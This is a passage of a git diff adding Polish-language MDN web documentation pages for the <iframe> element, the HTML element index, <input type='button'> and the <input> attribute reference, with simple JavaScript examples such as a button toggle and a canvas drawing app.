<li><code>yes</code>: Zawsze pokazuj pasek przewijania.</li> + <li><code>no</code>: Nigdy nie pokazuj paska przewijania.</li> + </ul> + </dd> +</dl> + +<h3 id="Atrybuty_niestandardowe_non-standard_inline">Atrybuty niestandardowe {{non-standard_inline}}</h3> + +<dl> + <dt>{{htmlattrdef("mozbrowser")}} {{non-standard_inline}}</dt> + <dd> + <div class="note">Sprawdź podatności {{bug(1318532)}} WebExtensions w Firefox.</div> + Sprawia, że <code><iframe></code> zachowuje się jak okienko najwyższego poziomu przeglądarki. Sprawdź <a href="/en-US/docs/Mozilla/Gecko/Chrome/API/Browser_API">Browser API</a> by dowiedzieć się więcej informacji.<br> + <strong>Dostępne tylko dla <a href="/en-US/docs/Mozilla/Add-ons/WebExtensions">WebExtensions</a>.</strong></dd> +</dl> + +<h2 id="Skrypty">Skrypty</h2> + +<p>Ramki, jak elementy {{HTMLElement("frame")}} znajdują się w pseudo-tablicy {{domxref("window.frames")}}.</p> + +<p>Poprzez obiekt DOM {{domxref("HTMLIFrameElement")}}, skrypty zyskują dostęp do obiektu {{domxref("window")}} zasobu w ramce poprzez własność {{domxref("HTMLIFrameElement.contentWindow", "contentWindow")}}. Własność {{domxref("HTMLIFrameElement.contentDocument", "contentDocument")}} odnosi się do <code>document</code> wewnątrz <code><iframe></code>, podobnie jak <code>contentWindow.document</code>.</p> + +<p>Z wnętrzna ramki skrypt może uzyskać odsyłacz do jej okna-rodzica poprzez {{domxref("window.parent")}}.</p> + +<p>Dostęp skryptu do treści ramki stanowi temat {{Glossary("same-origin policy")}}. Skrypty nie mogą uzyskiwać dostępu do większości własności w innych obiektach <code>window</code>, jeśli skrypt został załadowany z innego źródła, w tym skrypty wewnątrz ramki mające dostęp do rodzica ramki. Komunikacja cross-origin może być osiągnięta poprzez użycie {{domxref("Window.postMessage()")}}.</p> + +<h2 id="Pozycjonowanie_i_skalowanie">Pozycjonowanie i skalowanie</h2> + +<p>Jako <a href="/en-US/docs/Web/CSS/Replaced_element">element zastąpiony</a>, pozycjonowanie, wyrównywanie i skalowanie osadzonego dokumentu wewnątrz okna elementu <code><iframe></code> może być określane poprzez właściwości {{cssxref("object-position")}} oraz {{cssxref("object-fit")}}.</p> + +<h2 id="Przykłady">Przykłady</h2> + +<h3 id="Example1" name="Example1">Prosty <code><iframe></code></h3> + +<p><code><iframe></code> w akcji. Po utworzeniu ramki, kiedy użytkownik klika na przycisk jego tytuł jest wyświetlany w alercie.</p> + +<h4 id="HTML">HTML</h4> + +<div id="htmlOutputWrapper"> +<pre class="brush: html"><iframe src="https://mdn-samples.mozilla.org/snippets/html/iframe-simple-contents.html" title="iframe Example 1" width="400" height="300"></iframe></pre> +</div> + +<h4 id="Rezultat">Rezultat</h4> + +<p>{{ EmbedLiveSample('Example1', 640,400)}}</p> + +<h3 id="Example2" name="Example2">Otwórz link w <code><iframe></code> w innej karcie</h3> + +<p>W niniejszym przykładzie mapa Google jest wyświetlana w ramce;</p> + +<h4 id="HTML_2">HTML</h4> + +<pre class="brush: html"><iframe id="Example2" + title="iframe Example 2" + width="400" height="300" + style="border:none" + src="https://maps.google.com/maps?f=q&source=s_q&q=buenos+aires&sll=37.0625,-95.677068&sspn=38.638819,80.859375&t=h&hnear=Buenos+Aires,+Argentina&z=11&ll=-34.603723,-58.381593&output=embed"> +</iframe> +</pre> + +<h4 id="Rezultat_2">Rezultat</h4> + +<p>{{ EmbedLiveSample('Example2', 640, 400)}}</p> + +<h2 id="Obawy_dot._dostępności">Obawy dot. dostępności</h2> + +<p>Osoby poruszające się poprzez technologię wspierającą, jak czytniki ekranowe mogą używać <a href="/en-US/docs/Web/HTML/Global_attributes/title">atrybutu</a> <a href="/en-US/docs/Web/HTML/Global_attributes/title"><code>title</code> </a>na <code>iframe</code>'ie do oznaczania jego treści. Wartość tytułu powinna w zwięzły sposób opisywać osadzoną treść:</p> + +<div id="htmlOutputWrapper"> +<pre class="brush: html"><iframe title="Wikipedia page for Avocados" src="https://en.wikipedia.org/wiki/Avocado"></iframe></pre> +</div> + +<p>Jeśli tytuł nie został określony, wspomniane osoby mogą wchodzić wewnątrz <code>iframe</code>, żeby dowiedzieć się czym dokładniej jest osadzona zawartość. Tego typu zmiana kontekstu może prowadzić do nieporozumień i niepotrzebnie zabierać czas, szczególnie w przypadku stron o wielu <code><iframe></code>'ach i/lub jeśli treść osadzona zawiera interaktywne zasoby, jak video czy audio.</p> + +<h2 id="Specyfikacje">Specyfikacje</h2> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">Specyfikacja</th> + <th scope="col">Status</th> + <th scope="col">Komentarz</th> + </tr> + </thead> + <tbody> + <tr> + <td>{{SpecName('Referrer Policy', '#referrer-policy-delivery-referrer-attribute', 'referrerpolicy attribute')}}</td> + <td>{{Spec2('Referrer Policy')}}</td> + <td>Dodano atrybut <code>referrerpolicy</code>.</td> + </tr> + <tr> + <td>{{SpecName('HTML WHATWG', 'iframe-embed-object.html#the-iframe-element', '<iframe>')}}</td> + <td>{{Spec2('HTML WHATWG')}}</td> + <td></td> + </tr> + <tr> + <td>{{SpecName('HTML5 W3C', 'embedded-content-0.html#the-iframe-element', '<iframe>')}}</td> + <td>{{Spec2('HTML5 W3C')}}</td> + <td></td> + </tr> + <tr> + <td>{{SpecName('HTML4.01', 'present/frames.html#h-16.5', '<iframe>')}}</td> + <td>{{Spec2('HTML4.01')}}</td> + <td></td> + </tr> + <tr> + <td>{{SpecName('Screen Orientation')}}</td> + <td>{{Spec2('Screen Orientation')}}</td> + <td>Dodaje <code>allow-orientation-lock</code> do atrybutu <code>sandbox</code>.</td> + </tr> + <tr> + <td>{{SpecName('Presentation','#sandboxing-and-the-allow-presentation-keyword','allow-presentation')}}</td> + <td>{{Spec2('Presentation')}}</td> + <td>Dodaje <code>allow-presentation</code> do atrybutu <code>sandbox</code></td> + </tr> + </tbody> +</table> + +<h2 id="Zgodność_z_przeglądarkami">Zgodność z przeglądarkami</h2> + +<div class="hidden">Tabela zgodności na tej stronie jest generowana z danych modelowanych. Jeśli chcesz mieć swój udział w tworzeniu, sprawdź <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> i wyślij nam żądanie pull.</div> + +<p>{{Compat("html.elements.iframe", 3)}}</p> diff --git a/files/pl/web/html/element/index.html b/files/pl/web/html/element/index.html new file mode 100644 index 0000000000..074372e7d8 --- /dev/null +++ b/files/pl/web/html/element/index.html @@ -0,0 +1,131 @@ +--- +title: Element +slug: Web/HTML/Element +tags: + - HTML + - 'HTML:Opis_elementów' + - Obsolete + - Strony_wymagające_dopracowania + - Wszystkie_kategorie +translation_of: Web/HTML/Element +--- +<div>{{HTMLSidebar("Elements")}}</div> + +<p class="tw-data-text tw-ta tw-text-small" dir="ltr" id="tw-target-text" style="text-align: left; height: 144px;">Na tej stronie znajduje się lista wszystkich elementów HTML,<span class="seoSummary"> które można utworzyć za pomocą znaczników (ang. <code>tags</code>). Są one pogrupowane według funkcjonalności, aby pomóc Ci łatwo znaleźć to, co masz na myśli. Alfabetyczna lista wszystkich elementów znajduje się na pasku bocznym na stronie każdego elementu, jak również na tej tutaj.</span></p> + +<div class="note"> +<p><span lang="pl">Aby uzyskać więcej informacji na temat podstaw elementów i atrybutów HTML, zobacz</span><a href="/en-US/docs/Web/Guide/HTML/Introduction#Elements_%E2%80%94_the_basic_building_blocks"> sekcje dotyczącą elementów w artykule wprowadzenia do HTML</a>.</p> +</div> + +<h2 id="Main_root">Main root</h2> + +<p>{{HTMLRefTable("HTML Root Element")}}</p> + +<h2 id="Dokument_metadata">Dokument metadata</h2> + +<p class="tw-data-text tw-ta tw-text-small" dir="ltr" id="tw-target-text" style="text-align: left; height: 96px;"><span lang="pl">Metadane zawierają informacje o stronie. Obejmują informacje o stylach, skryptach i danych, które pomagają oprogramowaniu</span> ({{Glossary("search engine", "search engines")}}, {{Glossary("Browser","browsers")}}, etc.) <span lang="pl">w renderowaniu strony. Metadane stylów i skryptów można zdefiniować na stronie lub w linku do innego pliku, który zawiera te informacje.</span></p> + +<p>{{HTMLRefTable("HTML Document Metadata")}}</p> + +<h2 id="Zmiana_roota">Zmiana roota</h2> + +<p>{{HTMLRefTable("Sectioning Root Element")}}</p> + +<h2 id="Sekcja_treści">Sekcja treści</h2> + +<p class="tw-data-text tw-ta tw-text-small" dir="ltr" style="text-align: left; height: 192px;"><span lang="pl">Elementy do dzielenia treści umożliwiają porządkowanie treści dokumentu na elementy logiczne. Użyj elementów przekroju, aby utworzyć ogólny zarys zawartości strony, w tym nawigację nagłówka i stopki oraz elementy nagłówka w celu identyfikacji sekcji treści.</span> {{HTMLRefTable("HTML Sections")}}</p> + +<h2 id="Treść_tekstowa">Treść tekstowa</h2> + +<p>Use HTML text content elements to organize blocks or sections of content placed between the opening {{HTMLElement("body")}} and closing <code></body></code> tags. Important for {{Glossary("accessibility")}} and {{Glossary("SEO")}}, these elements identify the purpose or structure of that content.</p> + +<p>{{HTMLRefTable("HTML Grouping Content")}}</p> + +<h2 id="Inline_text">Inline text</h2> + +<p>Używaj <code>HTML inline text</code>, aby zdefiniować znaczenie, strukturę lub style słowa, linii lub inną dowolną część tekstu.</p> + +<p>{{HTMLRefTable("HTML Text-Level Semantics")}}</p> + +<h2 id="Obrazy_i_multimedia">Obrazy i multimedia</h2> + +<p>HTML wspiera różnorodne multimedia jak obrazy, audio i video.</p> + +<p>{{HTMLRefTable("multimedia")}}</p> + +<h2 id="Zagnieżdżona_treść">Zagnieżdżona treść</h2> + +<p>Oprócz zwykłych multimediów, HTML może zawierać jeszcze różną treść, nawet jeżeli niełatwa jest praca z nią.</p> + +<p>{{HTMLRefTable({"include":["HTML embedded content"], "exclude":["multimedia"]})}}</p> + +<h2 id="Tworzenie_skryptów">Tworzenie skryptów</h2> + +<p>W celu tworzenia dynamicznej treści i aplikacji webowych, HTML wspiera użycie języków skryptowych, w szczególności JavaScript. Poniższe elementy umożliwiają tę właściwość.</p> + +<p>{{HTMLRefTable("HTML Scripting")}}</p> + +<h2 id="Zmiany_demarkacyjne">Zmiany demarkacyjne</h2> + +<p>Poniższe elementy pozwalają wskazać te części tekstu, które zostały zmienione.</p> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">Element</th> + <th scope="col">Opis</th> + </tr> + </thead> + <tbody> + <tr> + <td><code><a href="https://developer.mozilla.org/pl/docs/Web/HTML/Element/del"><del> </a></code></td> + <td>Używany do określenia, która część tekstu została usunięta. </td> + </tr> + <tr> + <td><code><a href="https://developer.mozilla.org/pl/docs/Web/HTML/Element/ins"><ins> </a></code></td> + <td>Używany do określenia, która część tekstu została wstawiona</td> + </tr> + </tbody> +</table> + +<p><code><p><del>Goodbye</del> <ins>Hello</ins> world!</p></code><br> + </p> + +<h2 class="tw-data-text tw-ta tw-text-small" dir="ltr" id="Zawartość_tabel" style="text-align: left; height: 48px;">Zawartość tabel</h2> + +<p class="tw-data-text tw-ta tw-text-small" dir="ltr" id="tw-target-text" style="text-align: left; height: 48px;"><br> + <span lang="pl">Poniższe elementy służą do tworzenia i obsługi danych tabelarycznych.</span></p> + +<p>{{HTMLRefTable("HTML tabular data")}}</p> + +<h2 id="Formularze">Formularze</h2> + +<p><span lang="pl">HTML udostępnia wiele elementów, które mogą być używane razem do tworzenia formularzy, które użytkownik może wypełnić i przesłać do witryny sieci Web lub aplikacji. Istnieje wiele dalszych informacji na ten temat dostępnych w</span><a href="/en-US/docs/Web/Guide/HTML/Forms"> przewodnikach po formularzach HTML</a>.</p> + +<p>{{HTMLRefTable({"include": ["HTML forms"], "exclude":["Deprecated"]})}}</p> + +<h2 id="Interaktywne_elementy">Interaktywne elementy</h2> + +<p class="tw-data-text tw-ta tw-text-small" dir="ltr" id="tw-target-text" style="text-align: left; height: 72px;"><span lang="pl">HTML oferuje wybór elementów, które pomagają tworzyć interaktywne obiekty interfejsu użytkownika.</span></p> + +<p>{{HTMLRefTable("HTML interactive elements")}}</p> + +<h2 id="Web_Components"><span lang="pl">Web Components</span></h2> + +<div class="oSioSc"> +<div id="tw-target"> +<div class="gsrt tw-ta-container tw-nfl" id="tw-target-text-container"> +<p class="tw-data-text tw-ta tw-text-small" dir="ltr" id="tw-target-text" style="text-align: left; height: 192px;"><span lang="pl">Web Components to technologia związana z HTML, która umożliwia tworzenie i używanie niestandardowych elementów tak, jakby były zwykłymi HTML-ami. Ponadto można tworzyć niestandardowe wersje standardowych elementów HTML.</span></p> +</div> +</div> +</div> + +<p>{{HTMLRefTable({"include":["Web Components"],"elements":["shadow"]})}}</p> + +<h2 id="Przestarzałe_elementy">Przestarzałe elementy</h2> + +<div class="warning"> +<p class="tw-data-text tw-ta tw-text-small" dir="ltr" id="tw-target-text" style="text-align: left; height: 48px;"><strong>Ostrzeżenie: </strong><span lang="pl">Są to elementy HTML, które są przestarzałe i nie powinny być już dłużej używane.</span><strong> Nie należy ich używać w nowych projektach. W starszych projektach należy je jak najszybciej zastąpić nowszymi elementami.</strong> <span lang="pl">Przestarzałe elementy zostały wymienione tutaj wyłącznie w celach informacyjnych.</span></p> +</div> + +<p>{{HTMLRefTable({"include":["Deprecated","Obsolete"]})}}</p> diff --git a/files/pl/web/html/element/input/button/index.html b/files/pl/web/html/element/input/button/index.html new file mode 100644 index 0000000000..8c97a75321 --- /dev/null +++ b/files/pl/web/html/element/input/button/index.html @@ -0,0 +1,341 @@ +--- +title: <input type="button"> +slug: Web/HTML/Element/Input/button +translation_of: Web/HTML/Element/input/button +--- +<div>{{HTMLRef}}</div> + +<p><span class="seoSummary">{{HTMLElement("input")}} elements of type <strong><code>button</code></strong> are rendered as simple push buttons, which can be programmed to control custom functionality anywhere on a webpage as required when assigned an event handler function (typically for the {{event("click")}} event).</span></p> + +<div>{{EmbedInteractiveExample("pages/tabbed/input-button.html", "tabbed-shorter")}}</div> + + + +<div class="note"> +<p><strong>Note</strong>: While <code><input></code> elements of type <code>button</code> are still perfectly valid HTML, the newer {{HTMLElement("button")}} element is now the favored way to create buttons. Given that a {{HTMLElement("button")}}’s label text is inserted between the opening and closing tags, you can include HTML in the label, even images.</p> +</div> + +<table class="properties"> + <tbody> + <tr> + <td><strong>{{anch("Value")}}</strong></td> + <td>A {{domxref("DOMString")}} used as the button's label</td> + </tr> + <tr> + <td><strong>Events</strong></td> + <td>{{event("click")}}</td> + </tr> + <tr> + <td><strong>Supported common attributes</strong></td> + <td>{{htmlattrxref("type", "input")}}, and {{htmlattrxref("value", "input")}}</td> + </tr> + <tr> + <td><strong>IDL attributes</strong></td> + <td><code>value</code></td> + </tr> + <tr> + <td><strong>Methods</strong></td> + <td>None</td> + </tr> + </tbody> +</table> + +<h2 id="Value">Value</h2> + +<p>An <code><input type="button"></code> elements' {{htmlattrxref("value", "input")}} attribute contains a {{domxref("DOMString")}} that is used as the button's label.</p> + +<div id="summary-example3"> +<pre class="brush: html notranslate"><input type="button" value="Click Me"></pre> +</div> + +<p>{{EmbedLiveSample("summary-example3", 650, 30)}}</p> + +<p>If you don't specify a <code>value</code>, you get an empty button:</p> + +<div id="summary-example1"> +<pre class="brush: html notranslate"><input type="button"></pre> +</div> + +<p>{{EmbedLiveSample("summary-example1", 650, 30)}}</p> + +<h2 id="Using_buttons">Using buttons</h2> + +<p><code><input type="button"></code> elements have no default behavior (their cousins,<code> <a href="/en-US/docs/Web/HTML/Element/input/submit"><input type="submit"></a></code> and <code><a href="/en-US/docs/Web/HTML/Element/input/reset"><input type="reset"></a></code> are used to submit and reset forms, respectively). To make buttons do anything, you have to write JavaScript code to do the work.</p> + +<h3 id="A_simple_button">A simple button</h3> + +<p>We'll begin by creating a simple button with a {{event("click")}} event handler that starts our machine (well, it toggles the <code>value</code> of the button and the text content of the following paragraph):</p> + +<pre class="brush: html notranslate"><form> + <input type="button" value="Start machine"> +</form> +<p>The machine is stopped.</p></pre> + +<pre class="brush: js notranslate">const button = document.querySelector('input'); +const paragraph = document.querySelector('p'); + +button.addEventListener('click', updateButton); + +function updateButton() { + if (button.value === 'Start machine') { + button.value = 'Stop machine'; + paragraph.textContent = 'The machine has started!'; + } else { + button.value = 'Start machine'; + paragraph.textContent = 'The machine is stopped.'; + } +}</pre> + +<p>The script gets a reference to the {{domxref("HTMLInputElement")}} object representing the <code><input></code> in the DOM, saving this refence in the variable <code>button</code>. {{domxref("EventTarget.addEventListener", "addEventListener()")}} is then used to establish a function that will be run when {{event("click")}} events occur on the button.</p> + +<p>{{EmbedLiveSample("A_simple_button", 650, 100)}}</p> + +<h3 id="Adding_keyboard_shortcuts_to_buttons">Adding keyboard shortcuts to buttons</h3> + +<p>Keyboard shortcuts, also known as access keys and keyboard equivalents, let the user trigger a button using a key or combination of keys on the keyboard. To add a keyboard shortcut to a button — just as you would with any {{HTMLElement("input")}} for which it makes sense — you use the {{htmlattrxref("accesskey")}} global attribute.</p> + +<p>In this example, <kbd>s</kbd> is specified as the access key (you'll need to press <kbd>s</kbd> plus the particular modifier keys for your browser/OS combination; see <a href="/en-US/docs/Web/HTML/Global_attributes/accesskey">accesskey</a> for a useful list of those).</p> + +<div id="accesskey-example1"> +<pre class="brush: html notranslate"><form> + <input type="button" value="Start machine" accesskey="s"> +</form> +<p>The machine is stopped.</p> +</pre> +</div> + +<div class="hidden"> +<pre class="brush: js notranslate">const button = document.querySelector('input'); +const paragraph = document.querySelector('p'); + +button.addEventListener('click', updateButton); + +function updateButton() { + if (button.value === 'Start machine') { + button.value = 'Stop machine'; + paragraph.textContent = 'The machine has started!'; + } else { + button.value = 'Start machine'; + paragraph.textContent = 'The machine is stopped.'; + } +}</pre> +</div> + +<p>{{EmbedLiveSample("Adding_keyboard_shortcuts_to_buttons", 650, 100)}}</p> + +<div class="note"> +<p><strong>Note</strong>: The problem with the above example of course is that the user will not know what the access key is! In a real site, you'd have to provide this information in a way that doesn't intefere with the site design (for example by providing an easily accessible link that points to information on what the site accesskeys are).</p> +</div> + +<h3 id="Disabling_and_enabling_a_button">Disabling and enabling a button</h3> + +<p>To disable a button, simply specify the {{htmlattrxref("disabled")}} global attribute on it, like so:</p> + +<div id="disable-example1"> +<pre class="brush: html notranslate"><input type="button" value="Disable me" disabled></pre> +</div> + +<p>You can enable and disable buttons at run time by simply setting <code>disabled</code> to <code>true</code> or <code>false</code>. In this example our button starts off enabled, but if you press it, it is disabled using <code>button.disabled = true</code>. A {{domxref("WindowTimers.setTimeout","setTimeout()")}} function is then used to reset the button back to its enabled state after two seconds.</p> + +<div class="hidden"> +<h6 id="Hidden_code_1">Hidden code 1</h6> + +<pre class="brush: html notranslate"><input type="button" value="Enabled"></pre> + +<pre class="brush: js notranslate">const button = document.querySelector('input'); + +button.addEventListener('click', disableButton); + +function disableButton() { + button.disabled = true; + button.value = 'Disabled'; + window.setTimeout(function() { + button.disabled = false; + button.value = 'Enabled'; + }, 2000); +}</pre> +</div> + +<p>{{EmbedLiveSample("Hidden_code_1", 650, 60)}}</p> + +<p>If the <code>disabled</code> attribute isn't specified, the button inherits its <code>disabled</code> state from its parent element. This makes it possible to enable and disable groups of elements all at once by enclosing them in a container such as a {{HTMLElement("fieldset")}} element, and then setting <code>disabled</code> on the container.</p> + +<p>The example below shows this in action. This is very similar to the previous example, except that the <code>disabled</code> attribute is set on the <code><fieldset></code> when the first button is pressed — this causes all three buttons to be disabled until the two second timeout has passed.</p> + +<div class="hidden"> +<h6 id="Hidden_code_2">Hidden code 2</h6> + +<pre class="brush: html notranslate"><fieldset> + <legend>Button group</legend> + <input type="button" value="Button 1"> + <input type="button" value="Button 2"> + <input type="button" value="Button 3"> +</fieldset></pre> + +<pre class="brush: js notranslate">const button = document.querySelector('input'); +const fieldset = document.querySelector('fieldset'); + +button.addEventListener('click', disableButton); + +function disableButton() { + fieldset.disabled = true; + window.setTimeout(function() { + fieldset.disabled = false; + }, 2000); +}</pre> +</div> + +<p>{{EmbedLiveSample("Hidden_code_2", 650, 60)}}</p> + +<div class="note"> +<p><strong>Note</strong>: Firefox will, unlike other browsers, by default, <a href="http://stackoverflow.com/questions/5985839/bug-with-firefox-disabled-attribute-of-input-not-resetting-when-refreshing">persist the dynamic disabled state</a> of a {{HTMLElement("button")}} across page loads. Use the {{htmlattrxref("autocomplete","button")}} attribute to control this feature.</p> +</div> + +<h2 id="Validation">Validation</h2> + +<p>Buttons don't participate in constraint validation; they have no real value to be constrained.</p> + +<h2 id="Examples">Examples</h2> + +<p>The below example shows a very simple drawing app created using a {{htmlelement("canvas")}} element and some simple CSS and JavaScript (we'll hide the CSS for brevity). The top two controls allow you to choose the color and size of the drawing pen. The button, when clicked, invokes a function that clears the canvas.</p> + +<pre class="brush: html notranslate"><div class="toolbar"> + <input type="color" aria-label="select pen color"> + <input type="range" min="2" max="50" value="30" aria-label="select pen size"><span class="output">30</span> + <input type="button" value="Clear canvas"> +</div> + +<canvas class="myCanvas"> + <p>Add suitable fallback here.</p> +</canvas></pre> + +<div class="hidden"> +<pre class="brush: css notranslate">body { + background: #ccc; + margin: 0; + overflow: hidden; +} + +.toolbar { + background: #ccc; + width: 150px; + height: 75px; + padding: 5px; +} + +input[type="color"], input[type="button"] { + width: 90%; + margin: 0 auto; + display: block; +} + +input[type="range"] { + width: 70%; +} + +span { + position: relative; + bottom: 5px; +}</pre> +</div> + +<pre class="brush: js notranslate">var canvas = document.querySelector('.myCanvas'); +var width = canvas.width = window.innerWidth; +var height = canvas.height = window.innerHeight-85; +var ctx = canvas.getContext('2d'); + +ctx.fillStyle = 'rgb(0,0,0)'; +ctx.fillRect(0,0,width,height); + +var colorPicker = document.querySelector('input[type="color"]'); +var sizePicker = document.querySelector('input[type="range"]'); +var output = document.querySelector('.output'); +var clearBtn = document.querySelector('input[type="button"]'); + +// covert degrees to radians +function degToRad(degrees) { + return degrees * Math.PI / 180; +}; + +// update sizepicker output value + +sizePicker.oninput = function() { + output.textContent = sizePicker.value; +} + +// store mouse pointer coordinates, and whether the button is pressed +var curX; +var curY; +var pressed = false; + +// update mouse pointer coordinates +document.onmousemove = function(e) { + curX = (window.Event) ? e.pageX : e.clientX + (document.documentElement.scrollLeft ? document.documentElement.scrollLeft : document.body.scrollLeft); + curY = (window.Event) ? e.pageY : e.clientY + (document.documentElement.scrollTop ? document.documentElement.scrollTop : document.body.scrollTop); +} + +canvas.onmousedown = function() { + pressed = true; +}; + +canvas.onmouseup = function() { + pressed = false; +} + +clearBtn.onclick = function() { + ctx.fillStyle = 'rgb(0,0,0)'; + ctx.fillRect(0,0,width,height); +} + +function draw() { + if(pressed) { + ctx.fillStyle = colorPicker.value; + ctx.beginPath(); + ctx.arc(curX, curY-85, sizePicker.value, degToRad(0), degToRad(360), false); + ctx.fill(); + } + + requestAnimationFrame(draw); +} + +draw();</pre> + +<p>{{EmbedLiveSample("Examples", '100%', 600)}}</p> + +<h2 id="Specifications">Specifications</h2> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">Specification</th> + <th scope="col">Status</th> + <th scope="col">Comments</th> + </tr> + </thead> + <tbody> + <tr> + <td>{{SpecName('HTML WHATWG', 'forms.html#button-state-(type=button)', '<input type="button">')}}</td> + <td>{{Spec2('HTML WHATWG')}}</td> + <td></td> + </tr> + <tr> + <td>{{SpecName('HTML5 W3C', 'forms.html#button-state-(type=button)', '<input type="button">')}}</td> + <td>{{Spec2('HTML5 W3C')}}</td> + <td></td> + </tr> + </tbody> +</table> + +<h2 id="Browser_compatibility">Browser compatibility</h2> + + + +<p>{{Compat("html.elements.input.input-button")}}</p> + +<h2 id="See_also">See also</h2> + +<ul> + <li>{{HTMLElement("input")}} and the {{domxref("HTMLInputElement")}} interface which implements it.</li> + <li>The more modern {{HTMLElement("button")}} element.</li> + <li><a href="/en-US/docs/Learn/HTML/Forms/Property_compatibility_table_for_form_widgets">Compatibility of CSS properties</a></li> +</ul> diff --git a/files/pl/web/html/element/input/index.html b/files/pl/web/html/element/input/index.html new file mode 100644 index 0000000000..bbe073d4b4 --- /dev/null +++ b/files/pl/web/html/element/input/index.html @@ -0,0 +1,1376 @@ +--- +title: <input> +slug: Web/HTML/Element/Input +translation_of: Web/HTML/Element/input +--- +<p>The HTML <strong><code><input></code> element</strong> is used to create interactive controls for web-based forms in order to accept data from the user. The semantics of an <code><input></code> varies considerably depending on the value of its <code>type</code> attribute.</p> + +<ul class="htmlelt"> + <li><dfn><a href="/en-US/docs/HTML/Content_categories">Content categories</a></dfn> <a href="/en-US/docs/HTML/Content_categories#Flow_content">Flow content</a>, listed, submittable, resettable, form-associated element, <a href="/en-US/docs/HTML/Content_categories#Phrasing_content">phrasing content</a>.<br> + If the {{htmlattrxref("type", "input")}} has not the <code>hidden</code> value, labellable element, palpable content.</li> + <li><dfn>Permitted content</dfn> None, it is an {{Glossary("empty element")}}.</li> + <li><dfn>Tag omission</dfn> Must have a start tag and must not have an end tag.</li> + <li><dfn>Permitted parent elements</dfn> Any element that accepts <a href="/en-US/docs/HTML/Content_categories#Phrasing_content">phrasing content</a>.</li> + <li><dfn>DOM interface</dfn> {{domxref("HTMLInputElement")}}</li> +</ul> + +<h2 id="Attributes">Attributes</h2> + +<p>This element includes the <a href="/en-US/docs/HTML/Global_attributes">global attributes</a>.</p> + +<dl> + <dt>{{htmlattrdef("type")}}</dt> + <dd>The type of control to display. The default type is text, if this attribute is not specified. Possible values are: + <ul> + <li><code>button</code>: A push button with no default behavior.</li> + <li><code>checkbox</code>: A check box. You must use the <strong>value</strong> attribute to define the value submitted by this item. Use the <strong>checked</strong> attribute to indicate whether this item is selected. You can also use the <strong>indeterminate</strong> attribute to indicate that the checkbox is in an indeterminate state (on most platforms, this draws a horizontal line across the checkbox).</li> + <li><code>color</code>: {{HTMLVersionInline("5")}} A control for specifying a color. A color picker's UI has no required features other than accepting simple colors as text (<a href="http://www.w3.org/TR/html5/forms.html#color-state-(type=color)">more info</a>).</li> + <li><code>date</code>: {{HTMLVersionInline("5")}} A control for entering a date (year, month, and day, with no time).</li> + <li><code>datetime</code>: {{HTMLVersionInline("5")}} A control for entering a date and time (hour, minute, second, and fraction of a second) based on UTC time zone.</li> + <li><code>datetime-local</code>: {{HTMLVersionInline("5")}} A control for entering a date and time, with no time zone.</li> + <li><code>email</code>: {{HTMLVersionInline("5")}} A field for editing an e-mail address. The input value is validated to contain either the empty string or a single valid e-mail address before submitting. The {{cssxref(":valid")}} and {{cssxref(":invalid")}} CSS pseudo-classes are applied as appropriate.</li> + <li><code>file</code>: A control that lets the user select a file. Use the <strong>accept</strong> attribute to define the types of files that the control can select.</li> + <li><code>hidden</code>: A control that is not displayed, but whose value is submitted to the server.</li> + <li><code>image</code>: A graphical submit button. You must use the <strong>src</strong> attribute to define the source of the image and the <strong>alt</strong> attribute to define alternative text. You can use the <strong>height</strong> and <strong>width</strong> attributes to define the size of the image in pixels.</li> + <li><code>month</code>: {{HTMLVersionInline("5")}} A control for entering a month and year, with no time zone.</li> + <li><code>number</code>: {{HTMLVersionInline("5")}} A control for entering a floating point number.</li> + <li><code>password</code>: A single-line text field whose value is obscured. Use the <strong>maxlength</strong> attribute to specify the maximum length of the value that can be entered.</li> + <li><code>radio</code>: A radio button. You must use the <strong>value</strong> attribute to define the value submitted by this item. Use the <strong>checked</strong> attribute to indicate whether this item is selected by default. Radio buttons that have the same value for the <strong>name</strong> attribute are in the same "radio button group"; only one radio button in a group can be selected at one time.</li> + <li><code>range</code>: {{HTMLVersionInline("5")}} A control for entering a number whose exact value is not important. This type control uses the following default values if the corresponding attributes are not specified: + <ul> + <li><code>min</code>: 0</li> + <li><code>max</code>: 100</li> + <li><code>value</code>: <code>min</code> + (<code>max</code>-<code>min</code>)/2, or <code>min</code> if <code>max</code> is less than <code>min</code></li> + <li><code>step</code>: 1</li> + </ul> + </li> + <li><code>reset</code>: A button that resets the contents of the form to default values.</li> + <li><code>search</code>: {{HTMLVersionInline("5")}} A single-line text field for entering search strings; line-breaks are automatically removed from the input value.</li> + <li><code>submit</code>: A button that submits the form.</li> + <li><code>tel</code>: {{HTMLVersionInline("5")}} A control for entering a telephone number; line-breaks are automatically removed from the input value, but no other syntax is enforced. You can use attributes such as <strong>pattern</strong> and <strong>maxlength</strong> to restrict values entered in the control. The {{cssxref(":valid")}} and {{cssxref(":invalid")}} CSS pseudo-classes are applied as appropriate.</li> + <li><code>text</code>: A single-line text field; line-breaks are automatically removed from the input value.</li> + <li><code>time</code>: {{HTMLVersionInline("5")}} A control for entering a time value with no time zone.</li> + <li><code>url</code>: {{HTMLVersionInline("5")}} A field for editing a URL. The input value is validated to contain either the empty string or a valid absolute URL before submitting. Line-breaks and leading or trailing whitespace are automatically removed from the input value. You can use attributes such as <strong>pattern</strong> and <strong>maxlength</strong> to restrict values entered in the control. The {{cssxref(":valid")}} and {{cssxref(":invalid")}} CSS pseudo-classes are applied as appropriate.</li> + <li><code>week</code>: {{HTMLVersionInline("5")}} A control for entering a date consisting of a week-year number and a week number with no time zone.</li> + </ul> + </dd> + <dt>{{htmlattrdef("accept")}}</dt> + <dd>If the value of the <strong>type</strong> attribute is <code>file</code>, this attribute indicates the types of files that the server accepts; otherwise it is ignored. The value must be a comma-separated list of unique content type specifiers: + <ul> + <li>A file extension starting with the STOP character (U+002E). (E.g.: ".jpg,.png,.doc")</li> + <li>A valid MIME type with no extensions</li> + <li><code>audio/*</code> representing sound files {{HTMLVersionInline("5")}}</li> + <li><code>video/*</code> representing video files {{HTMLVersionInline("5")}}</li> + <li><code>image/*</code> representing image files {{HTMLVersionInline("5")}}</li> + </ul> + </dd> + <dt>{{htmlattrdef("accesskey")}} {{HTMLVersionInline(4)}} only, {{obsoleteGeneric("inline", "HTML5")}}</dt> + <dd>A single-character that the user can press to switch input focus to the control. This attribute is global in HTML5.</dd> + 